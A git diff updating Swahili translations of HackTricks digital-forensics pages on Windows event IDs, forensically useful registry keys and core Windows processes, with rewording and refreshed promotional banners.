- **Mtandao (3)**: Kufikia folda zilizoshirikiwa.
|
||||
|
|
@ -435,30 +436,29 @@ Matukio ya ufikiaji hurekodiwa katika faili ya usanidi wa usalama iliyoko katika
|
|||
- **Kufungua (7)**: Skrini iliyofunguliwa kwa nenosiri.
|
||||
- **Mtandao wa Wazi (8)**: Uhamishaji wa nenosiri wazi, mara nyingi kutoka kwa IIS.
|
||||
- **Vibali Vipya (9)**: Matumizi ya vibali tofauti kwa ufikiaji.
|
||||
- **Mwingiliano wa Mbali (10)**: Kuingia kwa mbali kwenye dawati la mbali au huduma za terminali.
|
||||
- **Mwingiliano wa Cache (11)**: Kuingia na vibali vilivyohifadhiwa bila mawasiliano na kituo cha upelekaji wa kikoa.
|
||||
- **Mwingiliano wa Mbali wa Cache (12)**: Kuingia kwa mbali na vibali vilivyohifadhiwa.
|
||||
- **Kufungua kwa Cache (13)**: Kufungua kwa vibali vilivyohifadhiwa.
|
||||
- **Mwingiliano wa Mbali (10)**: Kuingia kwa mbali kwenye dawati au huduma za terminali.
|
||||
- **Mwingiliano wa Akiba (11)**: Kuingia na vibali vilivyohifadhiwa bila mawasiliano na kituo cha upelekaji wa kikoa.
|
||||
- **Mwingiliano wa Mbali wa Akiba (12)**: Kuingia kwa mbali na vibali vilivyohifadhiwa.
|
||||
- **Kufungua wa Akiba (13)**: Kufungua kwa vibali vilivyohifadhiwa.
|
||||
|
||||
#### Vigezo vya Hali na Hali za Ndani kwa Tukio la 4625:
|
||||
|
||||
- **0xC0000064**: Jina la mtumiaji halipo - Inaweza kuashiria shambulio la uchunguzi wa majina ya watumiaji.
|
||||
- **0xC000006A**: Jina sahihi la mtumiaji lakini nenosiri sio sahihi - Jaribio la kudhanua au kujaribu nguvu ya nenosiri.
|
||||
- **0xC0000234**: Akaunti ya mtumiaji imefungwa - Inaweza kufuata shambulio la kujaribu nguvu ya nenosiri ikisababisha kuingia mara nyingi isiyofanikiwa.
|
||||
- **0xC000006A**: Jina sahihi la mtumiaji lakini nenosiri sio sahihi - Jaribio la kudhanisha au kujaribu kuvunja nenosiri.
|
||||
- **0xC0000234**: Akaunti ya mtumiaji imefungwa - Inaweza kufuata shambulio la kuvunja nenosiri linalosababisha kuingia kwa mara nyingi.
|
||||
- **0xC0000072**: Akaunti imelemazwa - Jaribio lisiloruhusiwa la kupata akaunti zilizolemazwa.
|
||||
- **0xC000006F**: Kuingia nje ya muda ulioruhusiwa - Inaonyesha jaribio la kupata nje ya masaa ya kuingia yaliyowekwa, ishara inayowezekana ya ufikiaji usioruhusiwa.
|
||||
- **0xC0000070**: Ukiukaji wa vikwazo vya kituo cha kazi - Inaweza kuwa jaribio la kuingia kutoka eneo lisiloruhusiwa.
|
||||
- **0xC0000193**: Akaunti imeisha muda wake - Jaribio la kupata na akaunti za watumiaji zilizopita muda wake.
|
||||
- **0xC0000193**: Akaunti imeisha muda wake - Jaribio la kupata na akaunti za watumiaji zilizomaliza muda.
|
||||
- **0xC0000071**: Nenosiri limeisha muda wake - Jaribio la kuingia na nywila zilizopitwa na wakati.
|
||||
- **0xC0000133**: Matatizo ya usawazishaji wa muda - Tofauti kubwa za wakati kati ya mteja na seva inaweza kuwa ishara ya mashambulizi ya hali ya juu kama vile pass-the-ticket.
|
||||
- **0xC0000224**: Inahitaji mabadiliko ya lazima ya nenosiri - Mabadiliko ya lazima mara kwa mara yanaweza kupendekeza jaribio la kudhoofisha usalama wa akaunti.
|
||||
- **0xC0000225**: Inaonyesha hitilafu ya mfumo badala ya suala la usalama.
|
||||
- **0xC000015b**: Amezuiliwa aina ya kuingia - Jaribio la kupata na aina isiyoruhusiwa ya kuingia, kama mtumiaji anayejaribu kutekeleza kuingia kwa huduma.
|
||||
- **0xC0000133**: Matatizo ya usawazishaji wa muda - Tofauti kubwa za muda kati ya mteja na seva zinaweza kuwa ishara ya mashambulizi ya hali ya juu kama vile pass-the-ticket.
|
||||
- **0xC0000224**: Inahusu hitilafu ya mfumo badala ya suala la usalama.
|
||||
- **0xC000015b**: Aina iliyokataliwa ya kuingia - Jaribio la kupata na aina isiyoruhusiwa ya kuingia, kama mtumiaji anayejaribu kutekeleza kuingia kwa huduma.
|
||||
|
||||
#### Tukio la 4616:
|
||||
- **Mabadiliko ya Muda**: Kubadilisha muda wa mfumo, inaweza kuficha mstari wa matukio.
|
||||
|
||||
#### Matukio ya 6005 na 6006:
|
||||
#### Tukio la 6005 na 6006:
|
||||
- **Kuanza na Kuzima kwa Mfumo**: Tukio la 6005 linaonyesha kuanza kwa mfumo, wakati Tukio la 6006 linamaanisha kuzima kwake.
|
||||
|
||||
#### Tukio la 1102:
|
||||
|
|
@ -466,7 +466,7 @@ Matukio ya ufikiaji hurekodiwa katika faili ya usanidi wa usalama iliyoko katika
|
|||
|
||||
#### Matukio kwa Kufuatilia Kifaa cha USB:
|
||||
- **20001 / 20003 / 10000**: Uunganisho wa kifaa cha USB mara ya kwanza.
|
||||
- **10100**: Sasisho la dereva la USB.
|
||||
- **10100**: Sasisho la dereva wa USB.
|
||||
- **Tukio la 112**: Wakati wa kuingiza kifaa cha USB.
|
||||
|
||||
Kwa mifano halisi ya kusimuliza aina hizi za kuingia na fursa za kudondosha vibali, tazama [mwongozo kamili wa Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
|
||||
|
|
@ -475,46 +475,31 @@ Maelezo ya matukio, ikiwa ni pamoja na vigezo vya hali na hali za ndani, hutoa u
|
|||
|
||||
### Kurejesha Matukio ya Windows
|
||||
|
||||
Ili kuongeza nafasi za kurejesha Matukio ya Windows yaliyofutwa, ni vyema kuzima kompyuta ya mtuhumiwa kwa kutoa moja kwa moja umeme. **Bulk_extractor**, zana ya kurejesha ikilenga kifaa cha `.evtx`, inapendekezwa kujaribu kurejesha matukio kama hayo.
|
||||
Ili kuongeza nafasi za kurejesha Matukio ya Windows yaliyofutwa, ni vyema kuzima kompyuta ya washukiwa moja kwa moja kwa kuitoa umeme. **Bulk_extractor**, zana ya kurejesha ikilenga kifaa cha `.evtx`, inapendekezwa kujaribu kurejesha matukio kama hayo.
|
||||
|
||||
### Kutambua Mashambulizi ya Kawaida kupitia Matukio ya Windows
|
||||
|
||||
Kwa mwongozo kamili wa kutumia Vitambulisho vya Matukio ya Windows kutambua mashambulizi ya mtandao ya kawaida, tembelea [Red Team Recipe](https://redteamrecipe.com/event-codes/).
|
||||
|
||||
#### Mashambulizi ya Kudhanua
|
||||
#### Mashambulizi ya Kuvunja Nguvu
|
||||
|
||||
Yanaonekana kwa rekodi nyingi za Tukio la 4625, ikifuatiwa na Tukio la 4624 ikiwa shambulio linafanikiwa.
|
||||
Yanaweza kutambulika na rekodi nyingi za Tukio la 4625, ikifuatiwa na Tukio la 4624 ikiwa shambulio linafanikiwa.
|
||||
|
||||
#### Mabadiliko ya Muda
|
||||
|
||||
Yanarekodiwa na Tukio la 4616, mabadiliko ya muda wa mfumo yanaweza kufanya uchambuzi wa kiforensiki kuwa mgumu.
|
||||
Yaliyorekodiwa na Tukio la 4616, mabadiliko ya muda wa mfumo yanaweza kufanya uchambuzi wa kiforensiki kuwa mgumu.
|
||||
|
||||
#### Kufuatilia Kifaa cha USB
|
||||
|
||||
Matukio muhimu ya Mfumo kwa kufuatilia kifaa cha USB ni pamoja na 20001/20003/10000 kwa matumizi ya kwanza, 10100 kwa sasisho la dereva, na Tukio la 112 kutoka kwa DeviceSetupManager kwa alama za wakati wa kuingiza.
|
||||
Matukio muhimu ya Mfumo kwa kufuatilia kifaa cha USB ni pamoja na 20001/20003/10000 kwa matumizi ya kwanza, 10100 kwa sasisho za dereva, na Tukio la 112 kutoka kwa DeviceSetupManager kwa alama za wakati wa kuingiza.
|
||||
#### Matukio ya Nguvu ya Mfumo
|
||||
|
||||
Tukio la 6005 linaashiria kuanza kwa mfumo, wakati Tukio la 6006 linamaanisha kuzimwa.
|
||||
Tukio la 6005 linaashiria kuanza kwa mfumo, wakati Tukio la 6006 linabainisha kuzimwa.
|
||||
|
||||
#### Kufuta Kumbukumbu
|
||||
|
||||
Usalama wa Tukio la 1102 unamaanisha kufutwa kwa kumbukumbu, tukio muhimu kwa uchambuzi wa kisayansi.
|
||||
Usalama wa Tukio la 1102 unamaanisha kufutwa kwa kumbukumbu, tukio muhimu kwa uchambuzi wa kiforensiki.
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,23 +1,23 @@
|
|||
# Funguo za Usajili za Windows Zinazovutia
|
||||
# Vipengele vya Kuvutia vya Usajili wa Windows
|
||||
|
||||
### Funguo za Usajili za Windows Zinazovutia
|
||||
### Vipengele vya Kuvutia vya Usajili wa Windows
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Aunga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha** [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
### **Toleo la Windows na Habari ya Mmiliki**
|
||||
### **Toleo la Windows na Mmiliki wa Taarifa**
|
||||
- Iko katika **`Software\Microsoft\Windows NT\CurrentVersion`**, utapata toleo la Windows, Pakiti ya Huduma, wakati wa usakinishaji, na jina la mmiliki aliyesajiliwa kwa njia rahisi.
|
||||
|
||||
### **Jina la Kompyuta**
|
||||
|
|
@ -26,52 +26,65 @@ Njia nyingine za kusaidia HackTricks:
|
|||
### **Mipangilio ya Muda wa Eneo**
|
||||
- Muda wa eneo la mfumo unahifadhiwa katika **`System\ControlSet001\Control\TimeZoneInformation`**.
|
||||
|
||||
### **Ufuatiliaji wa Wakati wa Kufikia**
|
||||
- Kwa chaguo-msingi, ufuatiliaji wa wakati wa kufikia wa mwisho umezimwa (**`NtfsDisableLastAccessUpdate=1`**). Ili kuwezesha, tumia:
|
||||
### **Ufuatiliaji wa Muda wa Kufikia**
|
||||
- Kwa chaguo-msingi, ufuatiliaji wa muda wa mwisho wa ufikiaji umezimwa (**`NtfsDisableLastAccessUpdate=1`**). Ili kuwezesha, tumia:
|
||||
`fsutil behavior set disablelastaccess 0`
|
||||
|
||||
### Matoleo ya Windows na Pakiti za Huduma
|
||||
### Toleo za Windows na Pakiti za Huduma
|
||||
- **Toleo la Windows** linaonyesha toleo (k.m., Home, Pro) na kutolewa kwake (k.m., Windows 10, Windows 11), wakati **Pakiti za Huduma** ni sasisho zinazojumuisha marekebisho na, mara nyingine, vipengele vipya.
|
||||
|
||||
### Kuwezesha Ufuatiliaji wa Wakati wa Kufikia
|
||||
- Kuwezesha ufuatiliaji wa wakati wa kufikia wa mwisho kunakuwezesha kuona wakati faili zilifunguliwa mara ya mwisho, ambayo inaweza kuwa muhimu kwa uchambuzi wa kisayansi au ufuatiliaji wa mfumo.
|
||||
### Kuwezesha Muda wa Mwisho wa Kufikia
|
||||
- Kuwezesha ufuatiliaji wa muda wa mwisho wa ufikiaji kunakuwezesha kuona lini faili zilifunguliwa mwisho, jambo ambalo linaweza kuwa muhimu kwa uchambuzi wa kiforensiki au ufuatiliaji wa mfumo.
|
||||
|
||||
### Maelezo ya Habari za Mtandao
|
||||
- Usajili una data nyingi juu ya mipangilio ya mtandao, ikiwa ni pamoja na **aina za mitandao (isiyo na waya, kebo, 3G)** na **makundi ya mtandao (Umma, Binafsi/Nyumbani, Kikoa/Kazi)**, ambayo ni muhimu kwa kuelewa mipangilio ya usalama wa mtandao na ruhusa.
|
||||
- Usajili unashikilia data kubwa kuhusu mipangilio ya mtandao, ikiwa ni pamoja na **aina za mitandao (bila waya, kebo, 3G)** na **makundi ya mtandao (Umma, Binafsi/Nyumbani, Kikoa/Kazi)**, ambayo ni muhimu kwa kuelewa mipangilio ya usalama wa mtandao na ruhusa.
|
||||
|
||||
### Kache ya Upande wa Mteja (CSC)
|
||||
- **CSC** inaboresha ufikiaji wa faili nje ya mtandao kwa kuhifadhi nakala za faili zilizoshirikiwa. Mipangilio tofauti ya **CSCFlags** inadhibiti jinsi na ni faili gani zinazohifadhiwa kwenye kache, ikiaathiri utendaji na uzoefu wa mtumiaji, hasa katika mazingira yenye uunganisho wa muda mfupi.
|
||||
- **CSC** inaboresha ufikiaji wa faili nje ya mtandao kwa kuhifadhi nakala za faili zilizoshirikiwa. Mipangilio tofauti ya **CSCFlags** inadhibiti jinsi na ni faili gani zilizohifadhiwa, ikiaathiri utendaji na uzoefu wa mtumiaji, hasa katika mazingira yenye mawasiliano ya muda mfupi.
|
||||
|
||||
### Programu Zinazoanza Kiotomatiki
|
||||
- Programu zilizoorodheshwa katika funguo mbalimbali za usajili za `Run` na `RunOnce` zinaanzishwa kiotomatiki wakati wa kuanza, zikiathiri wakati wa kuanza wa mfumo na kuwa hatua muhimu za kutambua programu hasidi au programu zisizohitajika.
|
||||
### Programu za Kuanza Kiotomatiki
|
||||
- Programu zilizoorodheshwa katika funguo mbalimbali za usajili za `Run` na `RunOnce` zinaanzishwa kiotomatiki wakati wa kuanza, zikiathiri wakati wa kuanza wa mfumo na kuwa vituo vya kuvutia kwa kutambua zisizo au programu zisizohitajika.
|
||||
|
||||
### Shellbags
|
||||
- **Shellbags** sio tu hifadhi mapendeleo ya maoni ya folda lakini pia hutoa ushahidi wa kisayansi wa ufikiaji wa folda hata ikiwa folda haipo tena. Ni muhimu kwa uchunguzi, kufunua shughuli za mtumiaji ambazo hazionekani kwa njia nyingine.
|
||||
- **Shellbags** si tu hifadhi mapendeleo ya maoni ya folda bali pia hutoa ushahidi wa kiforensiki wa ufikiaji wa folda hata kama folda haipo tena. Ni muhimu kwa uchunguzi, kufunua shughuli za mtumiaji ambazo si wazi kupitia njia nyingine.
|
||||
|
||||
### Habari na Uchunguzi wa USB
|
||||
- Maelezo yaliyohifadhiwa kwenye usajili kuhusu vifaa vya USB vinaweza kusaidia kufuatilia ni vifaa vipi vilivyokuwa vimeunganishwa kwenye kompyuta, na hivyo kuunganisha kifaa na uhamisho wa faili nyeti au matukio ya ufikiaji usioruhusiwa.
|
||||
- Maelezo yaliyohifadhiwa katika usajili kuhusu vifaa vya USB vinaweza kusaidia kufuatilia ni vifaa vipi vilivyokuwa vimeunganishwa kwenye kompyuta, ikilinganisha kifaa na uhamisho wa faili nyeti au matukio ya ufikiaji usioruhusiwa.
|
||||
|
||||
### Nambari ya Serial ya Kiasi
|
||||
- **Nambari ya Serial ya Kiasi** inaweza kuwa muhimu kufuatilia kesi maalum ya mfumo wa faili, inayoweza kutumika katika mazingira ya kisayansi ambapo asili ya faili inahitaji kubainishwa kwenye vifaa tofauti.
|
||||
- **Nambari ya Serial ya Kiasi** inaweza kuwa muhimu kufuatilia kipengele maalum cha mfumo wa faili, ikiwa ni muhimu katika mazingira ya kiforensiki ambapo asili ya faili inahitaji kubainishwa kati ya vifaa tofauti.
|
||||
|
||||
### **Maelezo ya Kuzima**
|
||||
- Wakati wa kuzima na idadi (kwa XP tu) zinahifadhiwa katika **`System\ControlSet001\Control\Windows`** na **`System\ControlSet001\Control\Watchdog\Display`**.
|
||||
### **Maelezo ya Kuzimwa**
|
||||
- Wakati wa kuzimwa na idadi (ya mwisho tu kwa XP) zinahifadhiwa katika **`System\ControlSet001\Control\Windows`** na **`System\ControlSet001\Control\Watchdog\Display`**.
|
||||
|
||||
### **Usanidi wa Mtandao**
|
||||
- Kwa habari ya kina ya interface ya mtandao, tazama **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
|
||||
- Wakati wa kwanza na wa mwisho wa uunganisho wa mtandao, ikiwa ni pamoja na uunganisho wa VPN, zimeorodheshwa chini ya njia mbalimbali katika **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
|
||||
### **Mipangilio ya Mtandao**
|
||||
- Kwa maelezo ya kina ya interface ya mtandao, tazama **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
|
||||
- Nyakati za kwanza na za mwisho za uunganisho wa mtandao, ikiwa ni pamoja na uunganisho wa VPN, zinahifadhiwa chini ya njia mbalimbali katika **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
|
||||
|
||||
### **Folda Zilizoshirikiwa**
|
||||
- Folda zilizoshirikiwa na mipangilio ziko chini ya **`System\ControlSet001\Services\lanmanserver\Shares`**. Mipangilio ya Kache ya Upande wa Mteja (CSC) inaamua upatikanaji wa faili nje ya mtandao.
|
||||
- Folda zilizoshirikiwa na mipangilio zinapatikana chini ya **`System\ControlSet001\Services\lanmanserver\Shares`**. Mipangilio ya Kache ya Upande wa Mteja (CSC) inadhibiti upatikanaji wa faili nje ya mtandao.
|
||||
|
||||
### **Programu Zinazoanza Kiotomatiki**
|
||||
- Njia kama **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** na vitu sawa chini ya `Software\Microsoft\Windows\CurrentVersion` hufafanua programu zilizowekwa kuanza wakati wa kuanza.
|
||||
- Njia kama **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** na vipengele sawa chini ya `Software\Microsoft\Windows\CurrentVersion` hufafanua programu zilizowekwa kuanza kiotomatiki.
|
||||
|
||||
### **Utafutaji na Njia Zilizotumiwa**
|
||||
- Utafutaji wa Explorer na njia zilizotumiwa zinafuatiliwa kwenye usajili chini ya **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** kwa WordwheelQuery na TypedPaths, mtawalia.
|
||||
- Utafutaji wa Explorer na njia zilizotumiwa zinachunguzwa katika usajili chini ya **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** kwa WordwheelQuery na TypedPaths, mtawalia.
|
||||
|
||||
### **Hati za Hivi Karibuni na Faili za Ofisi**
|
||||
- Hati za hivi karibuni na faili za Ofisi zilizofikiwa zimeorodheshwa katika `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` na njia maalum za toleo la Ofisi.
|
||||
- Hati za hivi karibuni na faili za Ofisi zilizofikiwa zinaorodheshwa katika `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` na njia maalum za toleo la Ofisi.
|
||||
|
||||
### **Vitu Vilivyotumiwa Hivi Karibuni (MRU)**
|
||||
- Orodha za MRU, zikionyesha njia za hivi karibuni za faili na amri, zimehifadhiwa kat
|
||||
- Orodha za MRU, zikionyesha njia za hivi karibuni za faili na amri, zinahifadhiwa katika funguo mbalimbali za chini ya `ComDlg32` na `Explorer` chini ya `NTUSER.DAT`.
|
||||
|
||||
### **Ufuatiliaji wa Shughuli za Mtumiaji**
|
||||
- Kipengele cha User Assist kinahifadhi takwimu za matumizi ya programu kwa undani, ikiwa ni pamoja na idadi ya matumizi na wakati wa mwisho wa matumizi, katika **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
|
||||
|
||||
### **Uchambuzi wa Shellbags**
|
||||
- Shellbags, zinazoonyesha maelezo ya ufikiaji wa folda, zinahifadhiwa katika `USRCLASS.DAT` na `NTUSER.DAT` chini ya `Software\Microsoft\Windows\Shell`. Tumia **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** kwa uchambuzi.
|
||||
|
||||
### **Historia ya Vifaa vya USB**
|
||||
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** na **`HKLM\SYSTEM\ControlSet001\Enum\USB`** zina maelezo mengi kuhusu vifaa vya USB vilivyounganishwa, ikiwa ni pamoja na mtengenezaji, jina la bidhaa, na muda wa uunganisho.
|
||||
- Mtumiaji aliyeunganishwa na kifaa maalum cha USB anaweza kubainishwa kwa kutafuta mizinga ya `NTUSER.DAT` kwa **{GUID}** ya kifaa.
|
||||
- Kifaa kilichomount mwisho na nambari yake ya serial ya kiasi vinaweza kufuatiliwa kupitia `System\MountedDevices` na `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, mtawalia.
|
||||
|
||||
Mwongozo huu unakusanya njia muhimu na mbinu za kupata taarifa za kina za mfumo, mtandao, na shughuli za mtumiaji kwenye mifumo ya Windows, ukiwa na lengo la uwazi na matumizi rahisi.
|
||||
|
|
|
|||
|
|
@ -1,120 +1,145 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze & zoezi AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## smss.exe
|
||||
|
||||
**Meneja wa Kikao**.\
|
||||
Kikao cha 0 kinaanza **csrss.exe** na **wininit.exe** (**huduma za OS**) wakati Kikao cha 1 kinaanza **csrss.exe** na **winlogon.exe** (**kikao cha mtumiaji**). Walakini, unapaswa kuona **mchakato mmoja tu** wa hiyo **binary** bila watoto katika mti wa michakato.
|
||||
Kikao 0 kinaanza **csrss.exe** na **wininit.exe** (**huduma za OS**) wakati Kikao 1 kinaanza **csrss.exe** na **winlogon.exe** (**Kikao cha Mtumiaji**). Walakini, unapaswa kuona **mchakato mmoja tu** wa **binary** hiyo bila watoto katika mti wa michakato.
|
||||
|
||||
Pia, vikao visivyo vya 0 na 1 vinaweza kuashiria kuwa vikao vya RDP vinaendelea.
|
||||
Pia, vikao isipokuwa 0 na 1 vinaweza maanisha kuwa vikao vya RDP vinatokea.
|
||||
|
||||
|
||||
## csrss.exe
|
||||
|
||||
**Mchakato wa Subsystem ya Mteja/Mhudumu**.\
|
||||
Inasimamia **michakato** na **nyuzi**, inafanya **Windows API** ipatikane kwa michakato mingine na pia **inamapisha barua za kuendesha gari**, inaunda **faili za muda**, na inashughulikia **mchakato wa kuzima**.
|
||||
**Mchakato wa Mteja/Mhudumu wa Mfumo wa Kukimbia**.\
|
||||
Inasimamia **michakato** na **nyuzi**, inafanya **Windows** **API** ipatikane kwa michakato mingine na pia **inapanga barua za kuendesha gari**, inaunda **faili za muda**, na inashughulikia **mchakato wa kuzimwa**.
|
||||
|
||||
Kuna mmoja anayekimbia katika Kikao cha 0 na mwingine katika Kikao cha 1 (kwa hivyo **michakato 2** katika mti wa michakato). Mwingine mmoja huundwa **kwa kila Kikao kipya**.
|
||||
Kuna moja **inayoendesha katika Kikao 0 na nyingine katika Kikao 1** (kwa hivyo **michakato 2** katika mti wa michakato). Nyingine moja inaundwa **kwa kila Kikao kipya**.
|
||||
|
||||
|
||||
## winlogon.exe
|
||||
|
||||
**Mchakato wa Ingia wa Windows**.\
|
||||
Inahusika na **kuingia kwa mtumiaji**/**kutoka kwa mtumiaji**. Inazindua **logonui.exe** kuomba jina la mtumiaji na nenosiri na kisha inaita **lsass.exe** kuvithibitisha.
|
||||
**Mchakato wa Kuingia kwenye Windows**.\
|
||||
Inahusika na **kuingia**/**kutoka** kwa mtumiaji. Inazindua **logonui.exe** kuuliza jina la mtumiaji na nywila na kisha inaita **lsass.exe** kuvithibitisha.
|
||||
|
||||
Kisha inazindua **userinit.exe** ambayo imeainishwa katika **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** na funguo **Userinit**.
|
||||
|
||||
Zaidi ya hayo, usajili uliotangulia unapaswa kuwa na **explorer.exe** katika funguo la **Shell** au inaweza kutumiwa kama **njia ya kudumu ya programu hasidi**.
|
||||
Zaidi ya hayo, usajili wa awali unapaswa kuwa na **explorer.exe** katika funguo ya **Shell** au inaweza kutumika kama **njia ya kudumu ya zisizo za programu hasidi**.
|
||||
|
||||
|
||||
## wininit.exe
|
||||
|
||||
**Mchakato wa Uzinduzi wa Windows**. \
|
||||
